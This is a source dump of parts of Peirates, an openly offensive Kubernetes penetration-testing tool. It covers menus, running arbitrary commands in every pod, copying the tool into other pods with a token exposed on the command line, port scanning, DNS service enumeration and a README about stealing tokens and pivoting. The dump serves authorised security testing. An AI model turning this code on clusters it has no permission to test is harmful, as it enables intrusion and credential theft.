| [2] Switch namespace [switch] 45 | `) 46 | fmt.Printf("\nPeirates (ns-menu):># ") 47 | 48 | var input string 49 | 50 | line, err := l.Readline() 51 | if err == readline.ErrInterrupt { 52 | if len(line) == 0 { 53 | println("Empty line") 54 | pauseToHitEnter(true) 55 | return 56 | } 57 | } else if err == io.EOF { 58 | println("Empty line") 59 | pauseToHitEnter(true) 60 | return 61 | } 62 | input = strings.TrimSpace(line) 63 | 64 | if err != nil { 65 | return 66 | } 67 | 68 | switch input { 69 | case "1", "list": 70 | listNamespaces(*connectionString) 71 | 72 | case "2", "switch": 73 | menuSwitchNamespaces(connectionString) 74 | 75 | default: 76 | fmt.Printf("You must choose option from the options above.") 77 | pauseToHitEnter(true) 78 | return 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /scripts/exec-into-peirates-pod.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Email: peirates-dev 4 | 5 | NAMESPACE="totally-innocuous" # this is an EXAMPLE namespace 6 | 7 | function usage() { 8 | echo "Pod connect script." 9 | echo 10 | echo "Syntax: ${0} [-h|-n]" 11 | echo "options:" 12 | echo "-h Print this Help." 13 | echo "-n Specify a Namespace." 14 | } 15 | 16 | function main() { 17 | # echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" 18 | # kubectl rollout status deployment/peirates -n ${NAMESPACE} 19 | # echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" 20 | # kubectl get deployments -n ${NAMESPACE} 21 | # echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" 22 | # kubectl get pods -n ${NAMESPACE} 23 | 24 | echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" 25 | # identify pod by label and show details 26 | MY_POD2=$(kubectl get pods --selector=app=totally-not-peirates -n ${NAMESPACE} | grep -v ^NAME | cut -f1 -d' ') 27 | [ -z "$var" ] || exit 1 28 | echo "My pod: ${MY_POD2}" 29 | 30 | # saving these just in case, can delete soon if not needed. 31 | # identify pod by name/namespace and show details 32 | # MY_POD=$(kubectl describe pods -n ${NAMESPACE} ) # what happens if there are multiple pods? 33 | # # MY_POD=$(kubectl describe pods -n ${NAMESPACE} | grep ^Name: | rev | cut -f1 -d' '| rev) 34 | # [ -z "$var" ] || exit 1 35 | # echo "My pod: ${MY_POD}" 36 | 37 | echo "‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️‍☠‍☠️" 38 | kubectl exec -it $(kubectl describe pods -n ${NAMESPACE} | grep ^Name: | rev | cut -f1 -d' '| rev) -n ${NAMESPACE} -- /peirates 39 | } 40 | 41 | while getopts "h:n:" option; do 42 | case $option in 43 | h) 44 | usage 45 | exit 0 46 | ;; 47 | n) 48 | NAMESPACE=${OPTARG} 49 | main 50 | exit 0 51 | ;; 52 | \?) 53 | usage 54 | exit 1 55 | ;; 56 | esac 57 | done 58 | 59 | if [ "$option" = "?" ]; then 60 | usage && exit 1 61 | fi -------------------------------------------------------------------------------- /menu_use_auth_cani.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "io" 5 | "strings" 6 | 7 | "github.com/ergochat/readline" 8 | ) 9 | 10 | func setUpCompletionAuthCanIMenu() *readline.PrefixCompleter { 11 | completer := readline.NewPrefixCompleter( 12 | // [true] Set peirates to check whether an action is permitted 13 | readline.PcItem("true"), 14 | // [false] Set peirates to skip the auth can-i check 15 | readline.PcItem("false"), 16 | // [exit] Leave the setting at its current value 17 | readline.PcItem("exit"), 18 | ) 19 | return completer 20 | } 21 | 22 | func setAuthCanIMenu(UseAuthCanI *bool, interactive bool) { 23 | 24 | // Toggle UseAuthCanI between true and false 25 | println("\nWhen Auth-Can-I is set to true, Peirates uses the kubectl auth can-i feature to determine if an action is permitted before taking it.") 26 | println("Toggle this to false if auth can-i results aren't accurate for this cluster.") 27 | println("Auth-Can-I is currently set to ", *UseAuthCanI) 28 | println("\nPlease choose a new value for Auth-Can-I:") 29 | println("[true] Set peirates to check whether an action is permitted") 30 | println("[false] Set peirates to skip the auth can-i check") 31 | println("[exit] Leave the setting at its current value") 32 | 33 | println("\nChoice: ") 34 | 35 | // Set up main menu tab completion 36 | var completer *readline.PrefixCompleter = setUpCompletionAuthCanIMenu() 37 | 38 | l, err := readline.NewEx(&readline.Config{ 39 | Prompt: "\033[31m»\033[0m ", 40 | HistoryFile: "/tmp/peirates.history", 41 | AutoComplete: completer, 42 | InterruptPrompt: "^C", 43 | EOFPrompt: "exit", 44 | 45 | HistorySearchFold: true, 46 | // FuncFilterInputRune: filterInput, 47 | }) 48 | if err != nil { 49 | panic(err) 50 | } 51 | defer l.Close() 52 | // l.CaptureExitSignal() 53 | 54 | var input string 55 | 56 | line, err := l.Readline() 57 | if err == readline.ErrInterrupt { 58 | if len(line) == 0 { 59 | println("Empty line") 60 | pauseToHitEnter(interactive) 61 | return 62 | } 63 | } else if err == io.EOF { 64 | println("Empty line") 65 | pauseToHitEnter(interactive) 66 | return 67 | } 68 | input = strings.TrimSpace(line) 69 | 70 | if err != nil { 71 | println("Error reading input: %v", err) 72 | pauseToHitEnter(interactive) 73 | return 74 | } 75 | 76 | switch strings.ToLower(input) { 77 | case "exit": 78 | return 79 | case "true", "1", "t": 80 | *UseAuthCanI = true 81 | case "false", "0", "f": 82 | *UseAuthCanI = false 83 | } 84 | // Skip the "press enter to continue" 85 | 86 | } 87 | -------------------------------------------------------------------------------- /exec_in_pods.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import "fmt" 4 | 5 | func execInPodMenu(connectionString ServerInfo, interactive bool) { 6 | 7 | var input string 8 | 9 | println(` 10 | [1] Run command on a specific pod 11 | [2] Run command on all pods 12 | `) 13 | fmt.Printf("\nPeirates (execInPods):># ") 14 | 15 | _, err := fmt.Scanln(&input) 16 | if err != nil { 17 | println("Problem with reading input: %v", err) 18 | pauseToHitEnter(interactive) 19 | return 20 | } 21 | println("[+] Please provide the command to run in the pods: ") 22 | 23 | commandToRunInPods, err := ReadLineStripWhitespace() 24 | if err != nil { 25 | println("Problem with stripping white space: %v", err) 26 | pauseToHitEnter(interactive) 27 | return 28 | } 29 | 30 | if commandToRunInPods == "" { 31 | fmt.Print("[-] ERROR - command string was empty.") 32 | pauseToHitEnter(interactive) 33 | return 34 | } 35 | 36 | switch input { 37 | case "1": 38 | 39 | println("[+] Enter the pod name in which to run the command: ") 40 | 41 | var podToRunIn string 42 | _, err = fmt.Scanln(&podToRunIn) 43 | if err != nil { 44 | println("Problem with reading pod name: %v", err) 45 | pauseToHitEnter(interactive) 46 | } 47 | podsToRunTheCommandIn := []string{podToRunIn} 48 | 49 | if len(podsToRunTheCommandIn) > 0 { 50 | execInListPods(connectionString, podsToRunTheCommandIn, commandToRunInPods) 51 | } else { 52 | println("[-] No pods found to run the command in.") 53 | return 54 | } 55 | 56 | case "2": 57 | 58 | execInAllPods(connectionString, commandToRunInPods) 59 | } 60 | } 61 | 62 | // execInAllPods() runs a command in all running pods 63 | func execInAllPods(connectionString ServerInfo, command string) { 64 | runningPods := getPodList(connectionString) 65 | execInListPods(connectionString, runningPods, command) 66 | } 67 | 68 | // execInListPods() runs a command in all pods in the provided list 69 | func execInListPods(connectionString ServerInfo, pods []string, command string) { 70 | if !kubectlAuthCanI(connectionString, "exec", "pods") { 71 | println("[-] Permission Denied: your service account isn't allowed to exec commands in pods") 72 | return 73 | } 74 | 75 | println("[+] Running supplied command in list of pods") 76 | for _, execPod := range pods { 77 | execInPodOut, _, err := runKubectlSimple(connectionString, "exec", "-it", execPod, "--", "/bin/sh", "-c", command) 78 | if err != nil { 79 | fmt.Printf("[-] Executing %s in Pod %s failed: %s\n", command, execPod, err) 80 | } else { 81 | println(" ") 82 | println(string(execInPodOut)) 83 | } 84 | } 85 | } 86 | -------------------------------------------------------------------------------- /scripts/dist.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Email: peirates-dev 4 | 5 | # v0.2 - 13 May 2023 - Updates to script 6 | 7 | declare -a ARCHITECTURES=( "amd64" "arm" "arm64" "386" ) 8 | 9 | OS="linux" 10 | ARCH="amd64" 11 | COMPRESS="yes" 12 | 13 | function usage() { 14 | echo "Dist script: Build for multiple distros." 15 | echo 16 | echo "Syntax: dist.sh [-a|-c|-m|-r|-t|-x]" 17 | echo "options:" 18 | echo "-h Print this Help." 19 | echo "-a Build for amd64" 20 | echo "-C Do not compress binaries after building" 21 | echo "-m Build for arm" 22 | echo "-r Build for arm64" 23 | echo "-t Build for 386" 24 | echo "-x Build all architectures" 25 | echo "-s Build statically-linked" 26 | } 27 | 28 | function compress() { 29 | tar cJf peirates-${OS}-${ARCH}.tar.xz peirates-${OS}-${ARCH} 30 | rm peirates-${OS}-${ARCH}/peirates 31 | rmdir peirates-${OS}-${ARCH} 32 | } 33 | 34 | function build() { 35 | echo "Building for arch: ${ARCH}" 36 | 37 | if [ $STATIC == "static" ] ; then 38 | GOOS=${OS} GOARCH=${ARCH} go build -tags netgo,osusergo --ldflags '-extldflags "-static"' $(realpath ../cmd/peirates) 39 | else 40 | GOOS=${OS} GOARCH=${ARCH} go build -ldflags="-s -w" $(realpath ../cmd/peirates) 41 | fi 42 | 43 | if [ ! -d peirates-${OS}-${ARCH} ] ; then 44 | mkdir peirates-${OS}-${ARCH} 45 | fi 46 | mv peirates peirates-${OS}-${ARCH} 47 | if [ $COMPRESS == "yes" ] ; then 48 | compress ${ARCH} 49 | fi 50 | } 51 | 52 | function main() { 53 | if [ ! -e ../cmd/peirates ] ; then 54 | echo "This script must be run from the scripts/ directory." 55 | exit 1 56 | fi 57 | 58 | for xx in ${ARCHITECTURES[@]}; 59 | do 60 | ARCH="${xx}" 61 | #build-dynamic ${ARCH} 62 | build ${ARCH} 63 | done 64 | } 65 | 66 | STATIC="dynamic" 67 | 68 | while getopts "haCmrstx" option; do 69 | case $option in 70 | h) 71 | usage 72 | exit 0 73 | ;; 74 | a) 75 | ARCHITECTURES=( "amd64" ) 76 | ;; 77 | C) 78 | COMPRESS="no" 79 | ;; 80 | m) 81 | ARCHITECTURES=( "arm" ) 82 | ;; 83 | r) 84 | ARCHITECTURES=( "arm64" ) 85 | ;; 86 | s) 87 | STATIC="static" 88 | ;; 89 | t) 90 | ARCHITECTURES=( "386" ) 91 | ;; 92 | x) 93 | true 94 | ;; 95 | \?) 96 | usage 97 | exit 1 98 | ;; 99 | esac 100 | done 101 | 102 | main 103 | exit 0 104 | 105 | if [ "$option" = "?" ]; then 106 | usage && exit 1 107 | fi 108 | -------------------------------------------------------------------------------- /enumerate_dns.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "strconv" 7 | ) 8 | 9 | // This is a workalike for @raesene's Ruby code: https://github.com/raesene/alpine-containertools/blob/master/scripts/k8s-dns-enum.rb 10 | 11 | type serviceHostIPPort struct { 12 | hostName string 13 | IP string 14 | port uint16 15 | } 16 | 17 | // This routine pulls a list of all services via Core DNS 18 | func getAllServicesViaDNS() (*[]serviceHostIPPort, error) { 19 | 20 | wildcardRecord := "any.any.svc.cluster.local" 21 | var serviceHostIPPorts []serviceHostIPPort 22 | 23 | // Perform DNS SRV request on wildcardRecord 24 | _, srvs, err := net.LookupSRV("", "", wildcardRecord) 25 | if err != nil { 26 | return nil, err 27 | } 28 | 29 | // Parse out the output 30 | for _, srv := range srvs { 31 | // Each service contains these elements: 32 | // name , port , priority, weight 33 | 34 | // Now lookup the IP address for the service. 35 | ips, err := net.LookupHost(srv.Target) 36 | if err != nil { 37 | // Don't return a result for any service lacking an IP address? 38 | continue 39 | } 40 | // Return only the first IP address. 41 | serviceHostIPPorts = append(serviceHostIPPorts, serviceHostIPPort{srv.Target, ips[0], srv.Port}) 42 | } 43 | 44 | return &serviceHostIPPorts, nil 45 | } 46 | 47 | func enumerateDNS() error { 48 | 49 | println("\nRequesting SRV record any.any.svc.cluster.local - thank @raesene:\n") 50 | servicesSlicePointer, err := getAllServicesViaDNS() 51 | 52 | if err != nil { 53 | println("error: no services returned - this cluster may have CoreDNS version 1.9.0 or later - see https://github.com/coredns/coredns/issues/4984") 54 | println(err) 55 | return err 56 | } 57 | // Print the services' DNS names, IP addresses and ports, but also create a unique set of IPs and ports to portscan: 58 | names := make(map[string]bool) 59 | nameList := "" 60 | ports := make(map[uint16]bool) 61 | portList := "" 62 | 63 | for _, svc := range *servicesSlicePointer { 64 | fmt.Printf("Service: %s(%s):%d\n", svc.hostName, svc.IP, svc.port) 65 | if _, present := names[svc.hostName]; !present { 66 | names[svc.hostName] = true 67 | nameList = nameList + " " + svc.hostName 68 | } 69 | if _, present := ports[svc.port]; !present { 70 | ports[svc.port] = true 71 | // Append the port to the portList, prepending with a , unless this is the first port. 72 | if portList != "" { 73 | portList = portList + "," 74 | } 75 | portList = portList + strconv.Itoa(int(svc.port)) 76 | // portList = portList + strconv.FormatUint(uint16(svc.port), 10) 77 | 78 | } 79 | } 80 | 81 | // Now print a list of names and ports 82 | println("\nPortscan these services via:") 83 | println("nmap -sTVC -v -n -p " + portList + nameList) 84 | return nil 85 | } 86 | -------------------------------------------------------------------------------- /portscan.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "encoding/binary" 5 | "fmt" 6 | "log" 7 | "net" 8 | "sort" 9 | "time" 10 | ) 11 | 12 | func scan_worker(ip string, ports, results chan int) { 13 | for p := range ports { 14 | ip_port := fmt.Sprintf("%s:%d", ip, p) 15 | // fmt.Printf("DEBUG: checking %s:%d\n", ip, p) 16 | conn, err := net.DialTimeout("tcp", ip_port, 50*time.Millisecond) 17 | if err != nil { 18 | println("Diial timeout: %v", err) 19 | results <- 0 20 | continue 21 | } 22 | err = conn.Close() 23 | if err != nil { 24 | println("Problem closing connection: %v", err) 25 | } 26 | results <- p 27 | } 28 | } 29 | 30 | func scan_controller(ip string) { 31 | ports := make(chan int, 1000) 32 | results := make(chan int) 33 | 34 | var openports []int 35 | 36 | // Start up one worker per port? 37 | for i := 0; i < cap(ports); i++ { 38 | go scan_worker(ip, ports, results) 39 | } 40 | 41 | // Start up a parallel thread to send ports into the channel 42 | go func() { 43 | for i := 1; i <= 65535; i++ { 44 | ports <- i 45 | } 46 | }() 47 | 48 | // Go get the results, adding them to the openports array/slice 49 | for i := 0; i < 65535; i++ { 50 | port := <-results 51 | if port != 0 { 52 | openports = append(openports, port) 53 | } 54 | } 55 | 56 | // Close the ports worker assignment channel 57 | close(ports) 58 | // Close the results channel 59 | close(results) 60 | 61 | // Sort the set of openports in place. 62 | sort.Ints(openports) 63 | for _, port := range openports { 64 | fmt.Printf("%s:%d open\n", ip, port) 65 | } 66 | } 67 | 68 | // This function included with permission of the author. 69 | // See his blog post here: 70 | // https://www.stevencampbell.info/Golang-Convert-CIDR-Address-To-Hosts/ 71 | func cidrHosts(network string) []string { 72 | // convert string to IPNet struct 73 | _, ipv4Net, err := net.ParseCIDR(network) 74 | if err != nil { 75 | log.Fatal(err) 76 | } 77 | // convert IPNet struct mask and address to uint32 78 | mask := binary.BigEndian.Uint32(ipv4Net.Mask) 79 | // fing the start IP address 80 | start := binary.BigEndian.Uint32(ipv4Net.IP) 81 | // find the final IP address 82 | finish := (start & mask) | (mask ^ 0xffffffff) 83 | // make a slice to return host addresses 84 | var hosts []string 85 | // loop through addresses as uint32 86 | for i := start + 1; i <= finish-1; i++ { 87 | // convert back to net.IPs 88 | ip := make(net.IP, 4) 89 | binary.BigEndian.PutUint32(ip, i) 90 | hosts = append(hosts, ip.String()) 91 | } 92 | // return a slice of strings containing IP addresses 93 | return hosts 94 | } 95 | 96 | func test() { 97 | println("Test") 98 | // scan_controller(cidrHosts("192.168.48.0/24")) 99 | } 100 | -------------------------------------------------------------------------------- /commandline.go: -------------------------------------------------------------------------------- 1 | // commandline.go contains logic and data structures relevant to actually 2 | // running peirates as a command line tool. Mainly this is just flag handling. 3 | package peirates 4 | 5 | import ( 6 | "flag" // Command line flag parsing 7 | "log" 8 | "os" 9 | "strings" 10 | ) 11 | 12 | type CommandLineOptions struct { 13 | connectionConfig *ServerInfo 14 | moduleToRun string 15 | verbose bool 16 | } 17 | 18 | // parseOptions parses command-line options. We call it in main(). 19 | // func parseOptions(connectionString *ServerInfo, kubeData *Kube_Data) { 20 | func parseOptions(opts *CommandLineOptions) { 21 | // This is like the parser.add_option stuff except it works implicitly on a global parser instance. 22 | // Notice the use of pointers (&connectionString.APIServer for example) to bind flags to variables 23 | 24 | flagset := flag.NewFlagSet(os.Args[0], flag.ExitOnError) 25 | 26 | flagset.StringVar(&opts.connectionConfig.APIServer, "u", opts.connectionConfig.APIServer, "API Server URL: ex. https://10.96.0.1:6443") 27 | flagset.BoolVar(&opts.connectionConfig.ignoreTLS, "k", false, "Ignore TLS checking on API server requests?") 28 | 29 | flagset.StringVar(&opts.connectionConfig.Token, "t", opts.connectionConfig.Token, "Token (JWT)") 30 | flagset.StringVar(&opts.moduleToRun, "m", "", "module to run from menu - items on main menu with an * support this.") 31 | flagset.BoolVar(&opts.verbose, "v", false, "verbose mode - display debug messages") 32 | 33 | // This is the function that actually runs the parser 34 | // once you've defined all your options. 35 | err := flagset.Parse(os.Args[1:]) 36 | if err != nil { 37 | println("Problem with args: %v", err) 38 | } 39 | 40 | // If the API Server URL is passed in, normalize it. 41 | if len(opts.connectionConfig.APIServer) > 0 { 42 | 43 | // Trim any leading or trailing whitespace 44 | APIServer := strings.TrimSpace(opts.connectionConfig.APIServer) 45 | 46 | // Remove any trailing / 47 | APIServer = strings.TrimSuffix(APIServer, "/") 48 | 49 | // Check to see if APIServer begins with http or https, adding https if it does not. 50 | if !(strings.HasPrefix(APIServer, "http://") || strings.HasPrefix(APIServer, "https://")) { 51 | APIServer = "https://" + APIServer 52 | } 53 | 54 | opts.connectionConfig.APIServer = APIServer 55 | 56 | log.Println("API server URL provided on the command line: " + opts.connectionConfig.APIServer) 57 | 58 | } 59 | 60 | // If a certificate authority path is passed in, normalize it. 61 | if len(opts.connectionConfig.CAPath) > 0 { 62 | CAPath := strings.TrimSpace(opts.connectionConfig.CAPath) 63 | opts.connectionConfig.CAPath = CAPath 64 | log.Println("Certificate authority path provided on the command line: " + opts.connectionConfig.CAPath) 65 | } 66 | 67 | if opts.connectionConfig.Token != "" { 68 | log.Println("JWT provided on the command line.") 69 | } 70 | 71 | Verbose = opts.verbose 72 | if Verbose { 73 | println("DEBUG: verbose mode on") 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Peirates 2 | 3 | [![Release](https://img.shields.io/github/release/inguardians/peirates.svg?style=flat-square)](https://github.com/inguardians/peirates/releases/latest) [![gosec](https://github.com/inguardians/peirates/actions/workflows/gosec.yml/badge.svg)](https://github.com/inguardians/peirates/actions/workflows/gosec.yml) 4 | 5 | ![Logo](/peirates_logo.png?raw=true) 6 | 7 | ## What is Peirates? 8 | 9 | Peirates, a Kubernetes penetration tool, enables an attacker to escalate privilege and pivot 10 | through a Kubernetes cluster. It automates known techniques to steal and collect service account tokens, 11 | secrets, obtain further code execution, and gain control of the cluster. 12 | 13 | ## Where do I run Peirates? 14 | 15 | You run Peirates from a container running on Kubernetes or from a Kubernetes node, outside the container. 16 | 17 | ## Does Peirates attack a Kubernetes cluster? 18 | 19 | Yes, it absolutely does. Talk to your lawyer and the cluster owners before using this tool in a Kubernetes cluster. 20 | 21 | ## Who creates Peirates? 22 | 23 | InGuardians' CTO Jay Beale first conceived of Peirates and put together a group of InGuardians developers 24 | to create it with him, including Faith Alderson, Adam Crompton and Dave Mayer. Faith convinced us to all 25 | learn Golang, so she could implement the tool's use of the kubectl library from the Kubernetes project. 26 | Adam persuaded the group to use a highly-interactive user interface. Dave brought contagious enthusiasm. 27 | Together, these four developers implemented attacks and began releasing this tool that we use on our 28 | penetration tests. 29 | 30 | Other contributors have helped as well - see GitHub to see more, but please also review [credits.md](https://github.com/inguardians/peirates/blob/main/credits.md). 31 | 32 | ## Do you welcome contributions? 33 | 34 | Yes, we absolutely do. Submit a pull request and/or reach out to . 35 | 36 | ## What license is this released under? 37 | 38 | Peirates is released under the GPLv2 license. 39 | 40 | ## Running Peirates 41 | 42 | If you just want the peirates binary to start attacking things, grab the latest 43 | release from the [releases page](https://github.com/inguardians/peirates/releases/latest). 44 | 45 | ## Peirates as a Container Image 46 | 47 | You can find a useful [alpine-peirates container image on Docker Hub](https://hub.docker.com/r/bustakube/alpine-peirates), with a version number tag that tracks the Peirates version. 48 | 49 | For example, for `alpine-peirates:1.1.16`, which contains peirates version `1.1.16`, run: 50 | 51 | ```shell 52 | docker pull bustakube/alpine-peirates:1.1.16 53 | ``` 54 | 55 | ## Building Peirates 56 | 57 | However, if you want to build from source, read on! 58 | 59 | Get peirates 60 | 61 | go get -v "github.com/inguardians/peirates" 62 | 63 | Get libary sources if you haven't already (Warning: this will take almost a 64 | gig of space because it needs the whole kubernetes repository) 65 | 66 | go get -v "k8s.io/kubectl/pkg/cmd" "github.com/aws/aws-sdk-go" 67 | 68 | Build the executable 69 | 70 | cd $GOPATH/github.com/inguardians/peirates/scripts 71 | ./build.sh 72 | 73 | This will generate an executable file named `peirates` in the same directory. 74 | -------------------------------------------------------------------------------- /inject-into-pod-alpha.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/exec" 7 | "syscall" 8 | ) 9 | 10 | func injectAndExecMenu(connectionString ServerInfo) { 11 | println("\nThis item has been removed from the menu and is currently not supported.\n") 12 | println("\nChoose a pod to inject peirates into:\n") 13 | runningPods := getPodList(connectionString) 14 | for i, listpod := range runningPods { 15 | fmt.Printf("[%d] %s\n", i, listpod) 16 | } 17 | 18 | println("Enter the number of a pod to inject peirates into: ") 19 | 20 | var choice int 21 | _, err := fmt.Scanln(&choice) 22 | if err != nil { 23 | println("[-] Error reading input: ", err) 24 | return 25 | } 26 | 27 | podName := runningPods[choice] 28 | 29 | injectIntoAPodViaAPIServer(connectionString, podName) 30 | } 31 | 32 | func injectIntoAPodViaAPIServer(connectionString ServerInfo, pod string) { 33 | if !kubectlAuthCanI(connectionString, "exec", "pods") { 34 | println("[-] Permission Denied: your service account isn't allowed to exec into pods") 35 | return 36 | } 37 | 38 | println("[+] ALPHA Feature: Transferring a copy of Peirates into pod:", pod) 39 | 40 | // First, try copying the binary in via a kubectl cp command. 41 | filename := os.Getenv("_") 42 | destination := pod + ":/tmp" 43 | 44 | copyIntoPod, _, err := runKubectlSimple(connectionString, "cp", filename, destination) 45 | if err != nil { 46 | fmt.Printf("[-] Copying peirates into pod %s failed.\n", pod) 47 | } else { 48 | println(string(copyIntoPod)) 49 | println("[+] Transfer successful") 50 | 51 | // println("Do you wish to [1] move entirely into that pod OR [2] be given a copy-pastable command so you can keep this peirates instance?") 52 | // Feature request: give the user the option to exec into the next pod. 53 | // $_ 54 | // runKubectlSimple (exec -it pod /tmp/peirates) 55 | 56 | // println("Option 2 is: ") 57 | // CA path 58 | caPath := "--certificate-authority=" + connectionString.CAPath 59 | args := []string{"kubectl", "--token", connectionString.Token, caPath, "-n", connectionString.Namespace, "exec", "-it", pod, "--", "/tmp/peirates"} 60 | 61 | path, lookErr := exec.LookPath("kubectl") 62 | if lookErr != nil { 63 | println("kubectl not found in the PATH in this pod. You can correct this and try again. Alternatively:\n") 64 | println("Start up a new process, put a copy of kubectl in it, and move into that pod by running the following command:\n\n") 65 | println("kubectl --token " + connectionString.Token + " --certificate-authority=" + connectionString.CAPath + " -n " + connectionString.Namespace + " exec -it " + pod + " -- /tmp/peirates\n") 66 | } else { 67 | env := os.Environ() 68 | /* #gosec G204 - this code is intended to run arbitrary commands for the user */ 69 | execErr := syscall.Exec(path, args, env) 70 | if execErr != nil { 71 | println("[-] Exec failed - try manually, as below.\n") 72 | println("Start up a new process, put a copy of kubectl in it, and move into that pod by running the following command:\n\n") 73 | println("kubectl --token " + connectionString.Token + " --certificate-authority=" + connectionString.CAPath + " -n " + connectionString.Namespace + " exec -it " + pod + " -- /tmp/peirates\n") 74 | } 75 | } 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /menu_cert_auth.go: -------------------------------------------------------------------------------- 1 | package peirates 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "strings" 7 | 8 | "github.com/ergochat/readline" 9 | ) 10 | 11 | func setUpCompletionCertMenu() *readline.PrefixCompleter { 12 | completer := readline.NewPrefixCompleter( 13 | readline.PcItem("list"), 14 | readline.PcItem("switch"), 15 | ) 16 | return completer 17 | } 18 | 19 | func certMenu(clientCertificates *[]ClientCertificateKeyPair, connectionString *ServerInfo, interactive bool) { 20 | 21 | // Set up main menu tab completion 22 | var completer *readline.PrefixCompleter = setUpCompletionCertMenu() 23 | 24 | l, err := readline.NewEx(&readline.Config{ 25 | Prompt: "\033[31m»\033[0m ", 26 | HistoryFile: "/tmp/peirates.history", 27 | AutoComplete: completer, 28 | InterruptPrompt: "^C", 29 | EOFPrompt: "exit", 30 | 31 | HistorySearchFold: true, 32 | // FuncFilterInputRune: filterInput, 33 | }) 34 | if err != nil { 35 | panic(err) 36 | } 37 | defer l.Close() 38 | // l.CaptureExitSignal() 39 | 40 | println("Current certificate-based authentication: ", connectionString.ClientCertName) 41 | println(` 42 | 43 | [1] List client certificates [list] 44 | [2] Switch active client certificates [switch] 45 | 46 | Peirates (certmenu):>#`) 47 | // println("[3] Enter new client certificate and key [add]") 48 | // println("[4] Export client certificate and key to text [export]") 49 | // println("[5] Import client certificate and key to text [import]") 50 | // println("[6] Decode a stored certificate [decode]") 51 | 52 | println("\n") 53 | 54 | var input string 55 | 56 | line, err := l.Readline() 57 | if err == readline.ErrInterrupt { 58 | if len(line) == 0 { 59 | println("Empty line") 60 | pauseToHitEnter(interactive) 61 | return 62 | } 63 | } else if err == io.EOF { 64 | println("Empty line") 65 | pauseToHitEnter(interactive) 66 | return 67 | } 68 | input = strings.TrimSpace(line) 69 | 70 | if err != nil { 71 | return 72 | } 73 | 74 | switch strings.ToLower(input) { 75 | case "1", "list": 76 | println("\nAvailable Client Certificate/Key Pairs:") 77 | for i, account := range *clientCertificates { 78 | fmt.Printf(" [%d] %s\n", i, account.Name) 79 | } 80 | case "2", "switch": 81 | println("\nAvailable Client Certificate/Key Pairs:") 82 | for i, account := range *clientCertificates { 83 | fmt.Printf(" [%d] %s\n", i, account.Name) 84 | } 85 | println("\nEnter certificate/key pair number or exit to abort: ") 86 | var tokNum int 87 | _, err = fmt.Scanln(&input) 88 | if err != nil { 89 | fmt.Printf("Error reading input: %s\n", err.Error()) 90 | pauseToHitEnter(interactive) 91 | return 92 | } 93 | if input == "exit" { 94 | pauseToHitEnter(interactive) 95 | return 96 | } 97 | 98 | _, err := fmt.Sscan(input, &tokNum) 99 | if err != nil { 100 | fmt.Printf("Error parsing certificate/key pair selection: %s\n", err.Error()) 101 | } else if tokNum < 0 || tokNum >= len(*clientCertificates) { 102 | fmt.Printf("Certificate/key pair %d does not exist!\n", tokNum) 103 | } else { 104 | assignAuthenticationCertificateAndKeyToConnection((*clientCertificates)[tokNum], connectionString) 105 | fmt.Printf("Selected %s\n", connectionString.ClientCertName) 106 | } 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /test/test.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # Test Script 4 | 5 | # Email: peirates-dev 6 | 7 | # v0.1 - 08 May 2023 - Initial Version 8 | 9 | CURRENT_DIR=$(realpath .) 10 | DOCKER_LOG="${CURRENT_DIR}/docker-testing.log" 11 | SECURITY_LOG="${CURRENT_DIR}/security-testing.log" 12 | TEST_LOG="${CURRENT_DIR}/app-testing.log" 13 | 14 | # add deps for dev workstation here 15 | function install_deps() { 16 | echo 